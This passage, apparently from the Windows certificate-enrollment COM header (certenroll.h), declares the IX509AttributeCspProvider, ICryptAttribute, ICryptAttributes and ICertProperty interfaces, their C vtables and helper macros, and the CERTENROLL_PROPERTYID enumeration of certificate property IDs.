_Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strSignature);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeCspProviderVtbl;\n\n    interface IX509AttributeCspProvider\n    {\n        CONST_VTBL struct IX509AttributeCspProviderVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeCspProvider_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeCspProvider_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeCspProvider_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeCspProvider_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeCspProvider_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeCspProvider_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeCspProvider_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeCspProvider_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeCspProvider_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeCspProvider_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeCspProvider_InitializeEncode(This,KeySpec,strProviderName,Encoding,strSignature)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,KeySpec,strProviderName,Encoding,strSignature) ) \n\n#define IX509AttributeCspProvider_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeCspProvider_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define IX509AttributeCspProvider_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509AttributeCspProvider_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeCspProvider_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICryptAttribute_INTERFACE_DEFINED__\n#define __ICryptAttribute_INTERFACE_DEFINED__\n\n/* interface ICryptAttribute */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICryptAttribute;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32c-217d-11da-b2a4-000e7bbb2b09\")\n    ICryptAttribute : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromValues( \n            /* [in] */ __RPC__in_opt IX509Attributes *pAttributes) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Values( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Attributes **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICryptAttributeVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICryptAttribute * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICryptAttribute * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICryptAttribute * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICryptAttribute * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromObjectId )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromValues )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in_opt IX509Attributes *pAttributes);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in ICryptAttribute * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Values )( \n            __RPC__in ICryptAttribute * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Attributes **ppValue);\n        \n        END_INTERFACE\n    } ICryptAttributeVtbl;\n\n    interface ICryptAttribute\n    {\n        CONST_VTBL struct ICryptAttributeVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICryptAttribute_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICryptAttribute_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICryptAttribute_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICryptAttribute_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICryptAttribute_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICryptAttribute_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICryptAttribute_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICryptAttribute_InitializeFromObjectId(This,pObjectId)\t\\\n    ( (This)->lpVtbl -> InitializeFromObjectId(This,pObjectId) ) \n\n#define ICryptAttribute_InitializeFromValues(This,pAttributes)\t\\\n    ( (This)->lpVtbl -> InitializeFromValues(This,pAttributes) ) \n\n#define ICryptAttribute_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define ICryptAttribute_get_Values(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Values(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICryptAttribute_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICryptAttributes_INTERFACE_DEFINED__\n#define __ICryptAttributes_INTERFACE_DEFINED__\n\n/* interface ICryptAttributes */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICryptAttributes;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32d-217d-11da-b2a4-000e7bbb2b09\")\n    ICryptAttributes : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttribute **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICryptAttribute *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexByObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt ICryptAttributes *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICryptAttributesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICryptAttributes * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICryptAttributes * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICryptAttributes * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICryptAttributes * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttribute **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICryptAttributes * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICryptAttributes * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in_opt ICryptAttribute *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICryptAttributes * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexByObjectId )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in_opt ICryptAttributes *pValue);\n        \n        END_INTERFACE\n    } ICryptAttributesVtbl;\n\n    interface ICryptAttributes\n    {\n        CONST_VTBL struct ICryptAttributesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICryptAttributes_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICryptAttributes_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICryptAttributes_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICryptAttributes_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICryptAttributes_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICryptAttributes_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICryptAttributes_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICryptAttributes_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICryptAttributes_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICryptAttributes_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICryptAttributes_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICryptAttributes_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICryptAttributes_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICryptAttributes_get_IndexByObjectId(This,pObjectId,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexByObjectId(This,pObjectId,pIndex) ) \n\n#define ICryptAttributes_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICryptAttributes_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0048 */\n/* [local] */ \n\ntypedef \nenum CERTENROLL_PROPERTYID\n    {\n        XCN_PROPERTYID_NONE\t= 0,\n        XCN_CERT_KEY_PROV_HANDLE_PROP_ID\t= 1,\n        XCN_CERT_KEY_PROV_INFO_PROP_ID\t= 2,\n        XCN_CERT_SHA1_HASH_PROP_ID\t= 3,\n        XCN_CERT_MD5_HASH_PROP_ID\t= 4,\n        XCN_CERT_HASH_PROP_ID\t= 3,\n        XCN_CERT_KEY_CONTEXT_PROP_ID\t= 5,\n        XCN_CERT_KEY_SPEC_PROP_ID\t= 6,\n        XCN_CERT_IE30_RESERVED_PROP_ID\t= 7,\n        XCN_CERT_PUBKEY_HASH_RESERVED_PROP_ID\t= 8,\n        XCN_CERT_ENHKEY_USAGE_PROP_ID\t= 9,\n        XCN_CERT_CTL_USAGE_PROP_ID\t= 9,\n        XCN_CERT_NEXT_UPDATE_LOCATION_PROP_ID\t= 10,\n        XCN_CERT_FRIENDLY_NAME_PROP_ID\t= 11,\n        XCN_CERT_PVK_FILE_PROP_ID\t= 12,\n        XCN_CERT_DESCRIPTION_PROP_ID\t= 13,\n        XCN_CERT_ACCESS_STATE_PROP_ID\t= 14,\n        XCN_CERT_SIGNATURE_HASH_PROP_ID\t= 15,\n        XCN_CERT_SMART_CARD_DATA_PROP_ID\t= 16,\n        XCN_CERT_EFS_PROP_ID\t= 17,\n        XCN_CERT_FORTEZZA_DATA_PROP_ID\t= 18,\n        XCN_CERT_ARCHIVED_PROP_ID\t= 19,\n        XCN_CERT_KEY_IDENTIFIER_PROP_ID\t= 20,\n        XCN_CERT_AUTO_ENROLL_PROP_ID\t= 21,\n        XCN_CERT_PUBKEY_ALG_PARA_PROP_ID\t= 22,\n        XCN_CERT_CROSS_CERT_DIST_POINTS_PROP_ID\t= 23,\n        XCN_CERT_ISSUER_PUBLIC_KEY_MD5_HASH_PROP_ID\t= 24,\n        XCN_CERT_SUBJECT_PUBLIC_KEY_MD5_HASH_PROP_ID\t= 25,\n        XCN_CERT_ENROLLMENT_PROP_ID\t= 26,\n        XCN_CERT_DATE_STAMP_PROP_ID\t= 27,\n        XCN_CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID\t= 28,\n        XCN_CERT_SUBJECT_NAME_MD5_HASH_PROP_ID\t= 29,\n        XCN_CERT_EXTENDED_ERROR_INFO_PROP_ID\t= 30,\n        XCN_CERT_RENEWAL_PROP_ID\t= 64,\n        XCN_CERT_ARCHIVED_KEY_HASH_PROP_ID\t= 65,\n        XCN_CERT_AUTO_ENROLL_RETRY_PROP_ID\t= 66,\n        XCN_CERT_AIA_URL_RETRIEVED_PROP_ID\t= 67,\n        XCN_CERT_AUTHORITY_INFO_ACCESS_PROP_ID\t= 68,\n        XCN_CERT_BACKED_UP_PROP_ID\t= 69,\n        XCN_CERT_OCSP_RESPONSE_PROP_ID\t= 70,\n        XCN_CERT_REQUEST_ORIGINATOR_PROP_ID\t= 71,\n        XCN_CERT_SOURCE_LOCATION_PROP_ID\t= 72,\n        XCN_CERT_SOURCE_URL_PROP_ID\t= 73,\n        XCN_CERT_NEW_KEY_PROP_ID\t= 74,\n        XCN_CERT_OCSP_CACHE_PREFIX_PROP_ID\t= 75,\n        XCN_CERT_SMART_CARD_ROOT_INFO_PROP_ID\t= 76,\n        XCN_CERT_NO_AUTO_EXPIRE_CHECK_PROP_ID\t= 77,\n        XCN_CERT_NCRYPT_KEY_HANDLE_PROP_ID\t= 78,\n        XCN_CERT_HCRYPTPROV_OR_NCRYPT_KEY_HANDLE_PROP_ID\t= 79,\n        XCN_CERT_SUBJECT_INFO_ACCESS_PROP_ID\t= 80,\n        XCN_CERT_CA_OCSP_AUTHORITY_INFO_ACCESS_PROP_ID\t= 81,\n        XCN_CERT_CA_DISABLE_CRL_PROP_ID\t= 82,\n        XCN_CERT_ROOT_PROGRAM_CERT_POLICIES_PROP_ID\t= 83,\n        XCN_CERT_ROOT_PROGRAM_NAME_CONSTRAINTS_PROP_ID\t= 84,\n        XCN_CERT_SUBJECT_OCSP_AUTHORITY_INFO_ACCESS_PROP_ID\t= 85,\n        XCN_CERT_SUBJECT_DISABLE_CRL_PROP_ID\t= 86,\n        XCN_CERT_CEP_PROP_ID\t= 87,\n        XCN_CERT_SIGN_HASH_CNG_ALG_PROP_ID\t= 89,\n        XCN_CERT_SCARD_PIN_ID_PROP_ID\t= 90,\n        XCN_CERT_SCARD_PIN_INFO_PROP_ID\t= 91,\n        XCN_CERT_SUBJECT_PUB_KEY_BIT_LENGTH_PROP_ID\t= 92,\n        XCN_CERT_PUB_KEY_CNG_ALG_BIT_LENGTH_PROP_ID\t= 93,\n        XCN_CERT_ISSUER_PUB_KEY_BIT_LENGTH_PROP_ID\t= 94,\n        XCN_CERT_ISSUER_CHAIN_SIGN_HASH_CNG_ALG_PROP_ID\t= 95,\n        XCN_CERT_ISSUER_CHAIN_PUB_KEY_CNG_ALG_BIT_LENGTH_PROP_ID\t= 96,\n        XCN_CERT_NO_EXPIRE_NOTIFICATION_PROP_ID\t= 97,\n        XCN_CERT_AUTH_ROOT_SHA256_HASH_PROP_ID\t= 98,\n        XCN_CERT_NCRYPT_KEY_HANDLE_TRANSFER_PROP_ID\t= 99,\n        XCN_CERT_HCRYPTPROV_TRANSFER_PROP_ID\t= 100,\n        XCN_CERT_SMART_CARD_READER_PROP_ID\t= 101,\n        XCN_CERT_SEND_AS_TRUSTED_ISSUER_PROP_ID\t= 102,\n        XCN_CERT_KEY_REPAIR_ATTEMPTED_PROP_ID\t= 103,\n        XCN_CERT_DISALLOWED_FILETIME_PROP_ID\t= 104,\n        XCN_CERT_ROOT_PROGRAM_CHAIN_POLICIES_PROP_ID\t= 105,\n        XCN_CERT_SMART_CARD_READER_NON_REMOVABLE_PROP_ID\t= 106,\n        XCN_CERT_SHA256_HASH_PROP_ID\t= 107,\n        XCN_CERT_SCEP_SERVER_CERTS_PROP_ID\t= 108,\n        XCN_CERT_SCEP_RA_SIGNATURE_CERT_PROP_ID\t= 109,\n        XCN_CERT_SCEP_RA_ENCRYPTION_CERT_PROP_ID\t= 110,\n        XCN_CERT_SCEP_CA_CERT_PROP_ID\t= 111,\n        XCN_CERT_SCEP_SIGNER_CERT_PROP_ID\t= 112,\n        XCN_CERT_SCEP_NONCE_PROP_ID\t= 113,\n        XCN_CERT_SCEP_ENCRYPT_HASH_CNG_ALG_PROP_ID\t= 114,\n        XCN_CERT_SCEP_FLAGS_PROP_ID\t= 115,\n        XCN_CERT_SCEP_GUID_PROP_ID\t= 116,\n        XCN_CERT_SERIALIZABLE_KEY_CONTEXT_PROP_ID\t= 117,\n        XCN_CERT_ISOLATED_KEY_PROP_ID\t= 118,\n        XCN_CERT_SERIAL_CHAIN_PROP_ID\t= 119,\n        XCN_CERT_KEY_CLASSIFICATION_PROP_ID\t= 120,\n        XCN_CERT_DISALLOWED_ENHKEY_USAGE_PROP_ID\t= 122,\n        XCN_CERT_NONCOMPLIANT_ROOT_URL_PROP_ID\t= 123,\n        XCN_CERT_PIN_SHA256_HASH_PROP_ID\t= 124,\n        XCN_CERT_CLR_DELETE_KEY_PROP_ID\t= 125,\n        XCN_CERT_NOT_BEFORE_FILETIME_PROP_ID\t= 126,\n        XCN_CERT_CERT_NOT_BEFORE_ENHKEY_USAGE_PROP_ID\t= 127,\n        XCN_CERT_FIRST_RESERVED_PROP_ID\t= 128,\n        XCN_CERT_LAST_RESERVED_PROP_ID\t= 0x7fff,\n        XCN_CERT_FIRST_USER_PROP_ID\t= 0x8000,\n        XCN_CERT_LAST_USER_PROP_ID\t= 0xffff,\n        XCN_CERT_STORE_LOCALIZED_NAME_PROP_ID\t= 0x1000\n    } \tCERTENROLL_PROPERTYID;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0048_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0048_v0_0_s_ifspec;\n\n#ifndef __ICertProperty_INTERFACE_DEFINED__\n#define __ICertProperty_INTERFACE_DEFINED__\n\n/* interface ICertProperty */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertProperty;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32e-217d-11da-b2a4-000e7bbb2b09\")\n    ICertProperty : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PropertyId( \n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_PropertyId( \n            /* [in] */ CERTENROLL_PROPERTYID Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RemoveFromCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetValueOnCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertProperty * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertProperty * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertProperty * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertProperty * This,\n     